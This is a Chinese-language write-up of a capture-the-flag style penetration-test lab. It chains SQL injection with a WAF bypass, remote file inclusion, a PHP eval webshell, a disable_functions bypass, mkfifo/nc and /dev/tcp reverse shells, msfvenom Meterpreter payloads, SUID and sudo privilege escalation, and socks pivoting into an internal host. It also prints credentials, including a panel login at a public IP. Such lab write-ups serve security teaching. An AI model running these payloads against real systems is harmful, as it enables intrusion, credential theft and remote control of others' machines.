环境使用vm15.5进行搭建以及kali
一、
1.主机发现
利用netdiscover
扫描网段
netdiscover -i eth0 -r 192.168.0.0/24
也可利用nmap
(-sn
只扫描IP
不扫描端口
)
nmap -sn 190.168.0.0/24
发现 web
机IP
为 192.168.0.122
访问IP
网页
从样式可以判断安装了 宝塔
2.扫描端口
坑一:
使用mascan扫描端口失败(扫不出开放端口)
masscan -p 1-65535 192.168.0.122 --rate=1000 --interface eth0
设置默认网关
route add default gw 192.168.0.1 eth0
route add default gw 网关 网卡
找不到开放端口
使用nmap
扫描开放端口
nmap -sT -Pn 192.168.0.122
对端口进行更细的扫描
nmap -p 21,80,888,8888 192.168.0.122 -A -sC -oA /home/kali/Desktop/ddd4/ddd4-port
绑定hosts
并 访问网站
3.扫描网站目录
使用 gobuster
gobuster
-u 指定url
-w 指定字典
-z 指定扫描后缀名
l 扫描时显示网页长度(不带-)
-o 导出扫描结果
--wildcard 网页返回200也继续扫描(针对网站无论输入url是啥都会显示原页面的那种网站,就像此处)
| grep -v "data" 与管道符|和grep过滤函数配合,过滤带data内容的结果
--timeout 设置网页响应超时时间(数据需要带单位)
-t 设置进程数
对于 url
输入任何都返回原页面的可用不同 长度
的带入浏览器访问 然后 过滤
使用 whatweb
获取 网站相关信息
whatweb url
下载网站的 建站系统
版本
可以去网上下载相同版本安装,可获取网站目录,敏感文件等
在本地搭建该网站
4.代码审计
1.编码二次注入
自己编写的页面测试 部分代码
未进行加密 单引号被转义
URL
加密一次 单引号被转义
URL
加密两次 单引号未转义,成功绕过WAF,代码可能存在注入存在
网站测试
由引号,成功绕过WAF
用sqlmap
获取数据
sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py
//-u url --tamper 脚本 chardoubleencode 二次解码 -passwords 权限足够时爆数据库密码
//脚本地址 /usr/share/sqlmap/tamper/
存在注入
当前数据库 www_ddd4_com
查看数据表
爆doc_user
表中数据
admin
密文 9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c
2.密文是否能被逆向
admin
密文在登录中产生,去登陆模块寻找线索
发现加密类
不可逆
思考:可以编写脚本生成字符串与密文比较,(在本地撞库)
可本地生成密文去替换数据库 user
表里的密文( 需要数据库权限 )
3.文件包含
获取 l
赋值给 TB_PREFIX."doclang"
,给文件添加 .php
后缀可尝试 00截断
,将路径输出
抓包
加上 l
参数
参数可控
可以使用 00截断
(只适合php5.3
以下)
在本地php5.2.17版本将%00转义成 \0 测试失败
失败原因可能是因为 该系统适用于linux而本地使用windows搭建
在目标网站上存在phpinfo
,且gpc
关闭
目标网站 php
版本高于5.3
,无法使用%00截断
存在 user.ini
文件
4.远程包含
测试远程包含漏洞
修改参数,即要 读取的文件路径
启动py
文件
构造 url
,填入kali
mysql
的账号密码
http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=440&pwd=123456&dbhost=192.168.0.129&action=chkdb
获得网站在服务器的路径 /WWW/wwwroot/www.ddd4.com/setup/checkdb.php
查看结果,得到 /etc/passwd
的内容
远程包含数据库配置信息,修改脚本参数
文件路径信息通过上面的报错结合本地搭建的网站目录获得
(‘DB_HOSTNAME’,‘localhost’);\r\ndefine)(‘DB_USER’,‘www_ddd4_com’);\r\ndefine(‘DB_PASSWORD’,‘x4ix6ZrM7b8nFYHn’);
用户:www_ddd4_com
密码: x4ix6ZrM7b8nFYHn
localhost
5.替换密文
已拥有 数据库 账号
密码
IP
,连接数据库 替换网站 admin
密文
mysql -h192.168.0.122 -uwww_ddd4_com -px4ix6ZrM7b8nFYHn
连接成功,替换密文
替换前
利用本地搭建的网站,在登录模块利用网站的加密类 带入 参数 生成密文并输出
(自己加的代码,便于获取密文)
网页若未显示,可以用BP
抓包查看响应包
获得admin
密文 33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0
网页不显示也可以加入exit() [可能时后面的html等覆盖了密文]
接下来用 update
命令更新网站管理员admin
的 密文
update doc_user set pwd='33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0' where id= 1;
#update 表名 set 字段名='新值' where 限定条件
替换成功,尝试登录网站后台
登录成功
6.上传漏洞
上传点
能上传成功
但存在,无法访问上传的文件(php
文件等,但是html可以被访问),利用失败
除了上传到.htaccess规定的目录中,其他的php文件都无法访问
此处也无法上传新的 .htaccess
可尝试上传phtml
(需要开启此拓展),此处不行
7.模板编辑写Shell
在此处编写shell
尝试phpinfo
,成功
写入一句话木马
<?php @eval($_POST['440']);?>
8.执行系统命令函数
phpinfo
未过滤 putenv
上传所需文件
构造URL
http://www.ddd4.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so
成功执行pwd
命令
尝试反弹shell
建立监听
nc -nvlp 9001
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.129 9001 >/tmp/f
http://www.ddd4.com/bypass_disablefunc.php?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.129 9001 >/tmp/f&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so
BP
抓包
对URL
的cmd
参数进行(Ctrl+Shift+u)解码,在进行(Ctrl+u)编码
反弹连接后由断开,无法利用
换bash shell
bash -i >& /dev/tcp/192.168.0.129/10001 0>&1
http://www.ddd4.com/bypass_disablefunc.php?cmd=bash -i >& /dev/tcp/192.168.0.129/10001 0>&1&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so
反弹失败
9.1 建立MSF会话
生成 攻击载荷
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.129 lport=13777 -f elf > /home/kali/Desktop/ddd4/ddd4
查看信息 file
file ddd4
利用菜刀上传 载荷
设置监听
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.0.129
lhost => 192.168.0.129
msf5 exploit(multi/handler) > set lport 13777
lport => 13777
msf5 exploit(multi/handler) > run
利用执行命令脚本 运行 ddd4.elf
先加运行权限
http://www.ddd4.com/bypass_disablefunc.php?cmd=chmod+0777+ddd4&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so
http://www.ddd4.com/bypass_disablefunc.php?cmd=./ddd4&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so
建立会话成功
ifconfig
192.168.0.122
10.10.10.145
9.2 解决交互shell乱码问题
建立nc
监听 ,在msf
会话实现反弹shell
nc -lvnp 9001
bash -i >& /dev/tcp/192.168.0.129/9001 0>&1
设置python shell
python -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+z
//把当前应用放到后台
stty raw -echo
之后可能会卡住,输入fg
按enter
当跳出nc -lvnp 9001
时再按 enter
fg
//调出后台应用
10. 收集Linux信息
要先将脚本文件上传到目标
-
菜刀上传
-
kali
开启web
服务,目标机访问kali
并下载
开启web服务
python -m SimpleHTTPServer 80
在反弹shell
中切换到tmp
目录下载 脚本文件
脚本一:
wget http://192.168.0.129/LinEnum.sh
sh LinEnum.sh
[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root root 221768 Feb 8 2016 /usr/bin/find历史命令
sudo su root
exit
sudo su root
sudo -L
sudo -l
sudo -su yanisy123
sudo -su - yanisy123
sudo -su root- yanisy123 //疑似密码
sudo -su root yanisy123
sudo -u
sudo su -
exit
ls
ls /tmp
hostname
cat bt.txt
ifconfig
cat bt.txt
ifconfig
ping 10.10.10.144
脚本二:
wget http://192.168.0.129/linux-exploit-suggester.sh
sh linux-exploit-suggester.sh
脚本三:
wget http://192.168.0.129/linuxprivchecker.py
python linuxprivchecker.py
find–> find / -exec /usr/bin/awk ‘BEGIN {system(“/bin/bash”)}’
用find
命令查找suid
文件(此处的find
已经带s
[suid
])
find / -type f -perm -u=s 2>/dev/null
// f是二进制文件 -u=s 带s的错误信息定向到/dev/null
11.提权
1.suid提权
利用 find
的suid
属性提权
测试
touch test
创建目录
find test -exec whoami \;
寻找文件并执行代码
2.sudo提权
提前需要一个账号和密码(普通权限即可)
sudo su root
上面信息搜集时获得疑似密码 yanisy123
可以从使用命令查看权限
sudo -l
查看主机名,猜测账号密码是否存在
成功
使用sudo
提权
3.宝塔计划任务提权
菜刀shell
权限很大,在其中发现bt.txt
Bt-Panel: http://116.27.229.43:8888/944906b5
username: gpeqnjf4
password: d12924fa
为宝塔登录面板
添加计划任务,设置任务类型,名称,周期,内容,点击 执行
时立刻执行
bash -i >& /dev/tcp/192.168.0.129/10001 0>&1
建立监听,执行后获得会话
4.获得root权限的MSF会话
MSF
建立监听
root
权限交互shell
运行ddd4
(shell
文件)
还可以通过查看 /etc/shadow
(只允许root
查看)来判断是否时root
二、
1.获取内网信息
ifconfig
查看网卡信息
192.168.0.122
10.10.10.145
查看hosts
文件
查看路由
信息
run get_local_subnets
2.建立路由,配置代理
run autoroute -s 10.10.10.0/24
run autoroute -p
设置代理
配置 proxychains.conf
本地 hosts
绑定 web机
中 hosts
绑定网址,利用proxychains
访问该网站 收集信息
3.内网扫描并使用socks5穿透内网
proxychains
不能带 ping
(proxychains
支持的是socks
,http
, https
协议.它们以tcp
或者udp
协议为基础. 所以proxychains
只支持使用tcp
或udp
协议的程序. ping
用的是ICMP
协议,不以tcp
或udp
为基础,所以用不了。)【开隧道】
扫描内网主机
proxychains nmap -sT -Pn 10.10.10.0/24
此处已知10.10.10.144
proxychains nmap -sT -Pn 10.10.10.144
由于socks4
不稳定,尝试socks5
kali
开启web服务
目标主机访问 并下载工具 ssocks-0.0.14.tar.gz
python -m SimpleHTTPServer 80
wget http://192.168.0.129/ssocks-0.0.14.tar.gz
本地搭建
解压
tar zxvf ssocks-0.0.14.tar.gz
进入文件夹,编译
cd ssocks-0.0.14/
执行 configue
./configure && make
cd src
在目标主机 解压编译生成文件
先在kali
建立监听
./rcsocks -l 2233 -p 1080 -vv
//-l 代理端口 -p 目标机连接我们的端口 -vv详细信息
在web机
绑定主机端口建立连接
./rssocks -vv -s 192.168.0.129:1080
//-vv 详细信息 -s 绑定主机IP和端口
web机
连接 kali
配置proxychains.conf
访问 www.ddd5.com
,尝试弱口令登录
密码为 123456
4.浏览器配置代理穿透内网
1.kali
kali
浏览器socks5
代理
访问成功
2.物理机
物理机浏览器socks5
代理(IP
是kali
的,因为建立的隧道是由 kali
和 目标web机
联通)
访问成功
5.GetShell
上传一个带shell
的模板文件
上传成功后会自动解压
写shell
带shell
的模板文件打包成zip
后上传
根据emlog
网站源码(自行下载)分析摹本存放位置
/content/templates/moonsec/
// /content/templates/上传模板包文件名/
http://www.ddd5.com/content/templates/moonsec/1.php?cmd=phpinfo();
此处 1.php
为一句话木马 参数为 cmd
moon.php
为 大马 密码 为 moon
shell
密码为 cmd
6.中国蚁剑菜刀内网穿透
1.中国蚁剑
配置socks5
代理
测试连接
重启后,添加数据即可访问成功
2.中国菜刀
利用 socksCap64
代理工具给菜刀添加代理
虽然显示连接失败,但仍然能代理成功
打开菜刀尝试连接
右键
添加数据,尝试连接
连接成功
7.进入后台
收集信息
cat /etc/passwd |grep -v nologin
hostname
nestat -tnlp
直接访问IP
默认用户密码
admin
wdlinux.cn
访问8080
端口
尝试 用默认账号登录失败
wdcp
服务器带有phpmyadmin
目录
访问10.10.10.144:8080/phpmyadmin
目录
尝试默认账号密码登录失败
尝试root
加 默认密码 wdlinux.cn
,登录成功
寻找 8080
端口登录账号密码
发现密文 尝试MD5
解密
17d03da6474ce8beb13b01e79f789e63
moonsec123
尝试登录
若显示登录超时
可以使用之前的webshell查看目标机的时间 date 或date -R
然后调整本地时间,再次访问
8.提权
可执行系统命令,但会过滤危险函数
尝试base64
加密反弹shell
,运行失败
尝试ssh密钥
连接
下载密钥文件(若不存在,先点击生成密钥,再下载)
查看文件权限
ls -al
文件加600
权限
chmod 600 sshkey_wdcp
利用proxychains
远程ssh
连接
proxychains ssh root@10.10.10.144 -i sshkey_wdcp
//-i 指定密钥文件
ssh
登录成功
9.建立MSF会话(失败)
生成正向攻击载荷
msfvenom -p linux/x86/meterpreter/bind_tcp lport=12777 -f elf > /home/kali/Desktop/ddd4/bindd
利用蚁剑上传,利用root
会话运行,获得带有root
权限的MSF
会话
路径: /www/web/www_ddd5_com/public_html/content/templates/moonsec/
进入目录添加权限并运行文件
kali
正向连接
use exploit/multi/handler
options
set LPORT 12777
set RHOST 10.10.10.144
run
无法建立连接(???)
失败原因可能是目标机系统为centous
三、flag
第一个flag
位置
192.168.0.122
/home/host123/flag1.txt
aad386cf0e9359025d874b8c1c331099
第二个flag
位置
192.168.0.122
/root/root.txt
74cc1c60799e0a786ac7094b532f01b1
第三个flag
位置:
10.10.10.144
/root/root.txt
56a7043405ad08a649bd611569e1a243